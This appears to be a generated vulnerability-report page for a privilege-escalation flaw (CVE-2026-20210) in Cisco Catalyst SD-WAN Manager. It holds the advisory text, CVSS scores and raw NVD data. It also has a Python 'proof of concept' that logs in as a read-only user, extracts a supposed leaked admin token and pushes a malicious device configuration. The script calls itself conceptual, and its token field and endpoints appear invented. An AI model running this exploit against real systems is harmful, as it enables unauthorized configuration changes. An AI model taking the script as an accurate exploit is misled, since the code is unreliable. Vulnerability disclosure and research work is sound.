Security Vulnerability Report
中文
CVE-2026-20210 CVSS 5.4 MEDIUM

CVE-2026-20210

Published: 2026-05-14 17:16:20
Last Modified: 2026-05-14 17:19:58

Description

A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an authenticated, remote attacker with read-only permissions to modify configurations and perform unauthorized actions on an affected system. This vulnerability exists because of a failure to redact sensitive information within device configurations and templates. An attacker could exploit this vulnerability by elevating their read-only permissions to those of a high-privileged user. A successful exploit could allow the attacker to access or modify configuration settings within Cisco Catalyst SD-WAN Manager as a high-privileged user.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Cisco Catalyst SD-WAN Manager (具体版本请参考Cisco安全公告 cisco-sa-sdwan-mltvnps2-JxpWm7R)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # This is a conceptual Proof of Concept for CVE-2026-20210 # It demonstrates how a read-only user might extract sensitive info and perform an action. TARGET_URL = "https://<sdwan-manager-ip>/dataservice/" LOGIN_URL = TARGET_URL + "j_security_check" CONFIG_URL = TARGET_URL + "template/config/" ACTION_URL = TARGET_URL + "device/action/modify" username = "readonly_user" password = "password" session = requests.Session() # 1. Authenticate as read-only user login_payload = { "j_username": username, "j_password": password } session.post(LOGIN_URL, data=login_payload) # 2. Access configuration templates to find sensitive info (Vulnerability Trigger) response = session.get(CONFIG_URL) config_data = response.json() # Simulate extracting a sensitive token or hidden parameter from the response # that should not be visible to a read-only user. sensitive_token = None if "systemData" in config_data: sensitive_token = config_data["systemData"].get("hiddenAdminToken") if sensitive_token: print(f"[+] Sensitive information leaked: {sensitive_token}") # 3. Use the leaked token to perform a privileged action (Privilege Escalation) # Example: Modifying a device configuration using the leaked token headers = { "X-CSRF-Token": sensitive_token, # Using the leaked token "Content-Type": "application/json" } malicious_payload = { "deviceId": "target-device-id", "config": "modified-malicious-config" } action_response = session.post(ACTION_URL, json=malicious_payload, headers=headers) if action_response.status_code == 200: print("[!] Privilege escalation successful! Action performed.") else: print("[-] Action failed.") else: print("[-] Vulnerability not triggered or patched.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20210", "sourceIdentifier": "[email protected]", "published": "2026-05-14T17:16:20.057", "lastModified": "2026-05-14T17:19:57.600", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an authenticated, remote attacker with read-only permissions to modify configurations and perform unauthorized actions on an affected system.\r\n\r\nThis vulnerability exists because of a failure to redact sensitive information within device configurations and templates. An attacker could exploit this vulnerability by elevating their read-only permissions to those of a high-privileged user. A successful exploit could allow the attacker to access or modify configuration settings within Cisco Catalyst SD-WAN Manager as a high-privileged user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-779"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-mltvnps2-JxpWm7R", "source": "[email protected]"}, {"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk", "source": "[email protected]"}]}}